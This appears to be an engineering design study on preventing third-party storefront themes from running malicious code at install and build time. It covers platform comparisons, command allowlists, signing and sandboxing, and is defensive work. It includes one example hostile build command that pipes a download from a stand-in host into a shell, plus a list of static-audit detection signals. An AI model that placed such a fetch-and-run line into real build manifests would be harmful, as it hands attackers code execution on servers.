Skip to content

Study: how to stop a theme smuggling in malicious code

July 2026.


1. The fork in the road: why Shopify does not have this problem and WordPress does

Section titled “1. The fork in the road: why Shopify does not have this problem and WordPress does”

It is not that Shopify has a better antivirus. It is that it decided a theme would not be code.

Liquid, its template language, has existed since 2006 and is built precisely for this:

“It needs to be non evaling and secure. Liquid templates are made so that users can edit them. You don’t want to run code on your server which your users wrote.”

A Shopify theme cannot run arbitrary code, or touch the file system, or loop without limit. It can render data and little else. That is why thousands of merchants share the same infrastructure without one taking down another.

WordPress did the opposite: the theme is PHP and runs inside the application, with access to the database and everything. It is what gives it its flexibility… and it is the reason there is so much infected WordPress out there.

This document was written with our themes on the WordPress side — the commands written inside the theme and run as-is — and set out how to get off it. Layers 1 and 2 are now implemented (see the appendix): today the system decides the commands, not the theme. What follows explains why, and what is left.


What a theme is How it defends itself With what result
Shopify Liquid: runs nothing Technical. There is nothing to run The problem does not exist
WordPress PHP inside the application Procedural. Mandatory human review before publishing (licence and security), Theme Check replicating the automated tests, and a “Report this theme” button + themes@wordpress.org Infections galore. The real vector is not the directory: it is nulled themes
PrestaShop Smarty/Twig for views, PHP in modules Procedural with a public tool. validator.prestashop.com + technical checklist. Notable rule: no HTML inside the PHP, views go through Smarty, and escape modifiers are checked. The module is tested with debug mode on: if a warning fires, it is rejected Intermediate: its theme layer is already a template language
Magento / Adobe Commerce PHP The most formal. Extension Quality Program: level 1 automated (coding standards, virus and malware detection, and signs of plagiarism) and then manual QA review Even so, magento-malware-scanner exists, a community project with “the largest collection of Magento malware”. That says it all

The three lessons I take from this table:

  1. Prior review is necessary and not enough. Magento does the most serious review in the industry and there is a community repository dedicated to cataloguing the malware that slips past it. It is not an execution failure: it is that reviewing arbitrary code by eye does not scale.
  2. PrestaShop is heading the right way without saying so. Forcing views through Smarty is a step towards the Shopify model: the part the designer touches stops being code.
  3. WordPress’s hole is not in its directory, it is outside it. Reviewed themes are reasonably safe; the infected ones are pirated copies of paid themes. That is a distribution and licensing problem, not a review one — and it just so happens we already have a signed licensing system built for exactly that.

2. The good news: we start with an advantage

Section titled “2. The good news: we start with an advantage”

There is a structural difference in our favour, and it is worth seeing before spending on fortifications.

In WordPress the theme runs inside the store. It has the database connection, the payment keys, the customer sessions. A malicious theme has it all.

In our architecture the theme is a separate process that only talks to the public Store API, with the publishable key — the one that already travels to every visitor’s browser and is not secret. It has neither the database, nor the Admin API, nor the payment keys.

That is to say: a confined theme cannot do anything a visitor with the browser open could not. That already cuts half the problem, and it comes for free because it is how it is built.

What is left to protect is the genuinely dangerous moment: installing and building, which is when commands run on your server.


Layer 1 — Have nothing to run (almost free)

Section titled “Layer 1 — Have nothing to run (almost free)”

What removes the most risk for the least cost:

  • --ignore-scripts on install. The classic npm attack is a postinstall in a dependency. With this flag none runs. It is one word.
  • Commands from an allowlist, not free strings. Today the theme writes "build": "next build" and it runs as-is — it could write "build": "curl bad.com | sh". The fix: the contract declares the stack, and the system knows which command matches each stack. The theme picks from a list, it does not write the order.
  • Mandatory, fixed lockfile. No lockfile, no install. That way the version you audited is the one that installs tomorrow.
  • Static review before install. Look for child_process, eval, writes outside its own folder, connections to undeclared domains. It is not infallible — it can be obfuscated — but it catches the dumb stuff and is cheap.

Layer 2 — Only let in what you have signed (cheap)

Section titled “Layer 2 — Only let in what you have signed (cheap)”
  • Signed themes. Every published theme carries a signature with our key; the panel rejects those that do not bring one, unless the user turns on “external sources” by hand with a clear warning.
  • We already have half the piece built: the pcreative licensing system signs with RS256 and verifies offline with the public key. It is the same mechanism.

This is, in fact, what separates a proper theme catalogue from a jungle.

The dangerous moment is install + build. Let it happen inside a box:

Option Isolation Cost
Hardened container (no network except the registry, no secrets, unprivileged user, read-only disk except its folder, CPU and memory limits) Shares the kernel with the host Low — we already use Docker
gVisor — intercepts system calls in user space and only lets a vetted subset through Much better than a normal container Medium. Google uses it in GKE
Firecracker — a real microVM, boots in ~125ms with under 5 MiB of overhead The current standard for untrusted code. It is what Vercel Sandbox uses Medium-high

The 2026 consensus is clear and worth not kidding yourself about: a normal container is not enough for genuinely untrusted code, because it shares the kernel. For our own themes it is plenty; for an open catalogue, it is not.

Layer 4 — Isolate execution too (medium)

Section titled “Layer 4 — Isolate execution too (medium)”

The theme’s process, once running, with the bare minimum:

  • Its own unprivileged system user.
  • Only the backend’s public URL and the publishable key. Not one variable more. No database, no Admin API, no payment keys.
  • Read-only disk except for its cache folder.
  • Restricted network egress: it can only talk to the store backend. Without this, a theme can send what it renders anywhere it likes.
  • CPU and memory limits, so a theme with an infinite loop does not take the machine down.

Phase 1 — Now, with our own themes (hours). Layers 1 and 2: --ignore-scripts, allowlisted commands by stack, mandatory lockfile, static review, and the panel accepts only signed themes unless you turn on “external sources” by hand.

With our themes this is already enough, and without it I would not publish a single one.

Phase 2 — Before opening the catalogue to third parties (days). Layer 3 with a hardened container to install and build, and layer 4 to run: the theme sees only the public API and can only reach out to it.

Phase 3 — If managed hosting arrives (weeks). Firecracker or gVisor per store. When themes from strangers run on YOUR machine alongside other clients’ stores, the shared container stops being defensible.

The option I do not rule out but would not pick today: copy Shopify. A template language of our own, with no execution, removes the problem at the root. It also removes the argument we want to win with — bespoke themes in whatever stack you like — and drops us into years of work reinventing Liquid. If one day there is a massive third-party catalogue, it gets reconsidered; for our themes and those of agencies we know, isolating is better business than amputating.


  • The theme NEVER sees a secret. Only the public URL and the publishable key, which is already public. If one day a theme needs anything more, the design is wrong.
  • No free command strings in the manifest. The theme declares its stack; the system decides the command.
  • Install with no lifecycle scripts, always.
  • Signed by default, unsigned only if the user asks for it and understands it.
  • Say it in the UI. When installing a theme from outside, warn what will run and with what permissions. The opposite is what got WordPress where it is.


Appendix — Layers 1 and 2, already implemented

Section titled “Appendix — Layers 1 and 2, already implemented”
  • packages/theme-contract/src/runtime.js — the commands are decided by the system from stack and packageManager. runtime.commands is informational and a warning fires if it does not match. Orders as argument lists, with no interpreter.
  • Installing never runs lifecycle scripts, in all five package managers.
  • packages/theme-contract/src/auditoria.js — prior review: lockfile, install scripts, processes, on-the-fly evaluation, long base64, secret hunting, and domains against runtime.hosts.
  • A theme that requires DATABASE_URL, JWT_SECRET or a gateway key is a contract error.
  • pcc-theme audit [dir] [--monorepo].

packages/theme-contract/src/firma.js. It complements the audit and does not do the same thing: the audit looks at the content and hunts for signals; the signature guarantees the package is exactly the one published by whoever claims to have published it.

Against WordPress’s real problem — pirated and tampered paid themes — a review can do nothing and a signature can.

  • SHA-256 per file, ordered list, signed with RS256 in compact JWS format: the same scheme the licences already use, not a new format.
  • Three things are verified: the key is trusted, the package is the theme and the version it claims, and not one file has changed, is extra or is missing.
  • "alg": "none" does not fly: the algorithm is imposed by the verifier, not the signature.
  • A package carrying build output is not signed: a theme is distributed as source and built at the destination.
  • Paths normalised with /, so a theme signed on Linux verifies on Windows.
Terminal window
pcc-theme sign <dir> --key private.pem --publisher pcreative.dev --kid themes-1
pcc-theme verify <dir> --pubkey public.pem
pcc-theme verify <dir> --url https://api.pcreative.dev/api/license/pubkey

About the key. Any RSA pair works and the licensing system’s can be reused, but a dedicated one is advisable: with a single key, a leak on the licensing side would also allow signing malicious themes that every installation would accept as ours.

Wiring it into the panel: a store of trusted keys, and having installing an unsigned theme ask for explicit confirmation instead of just carrying on.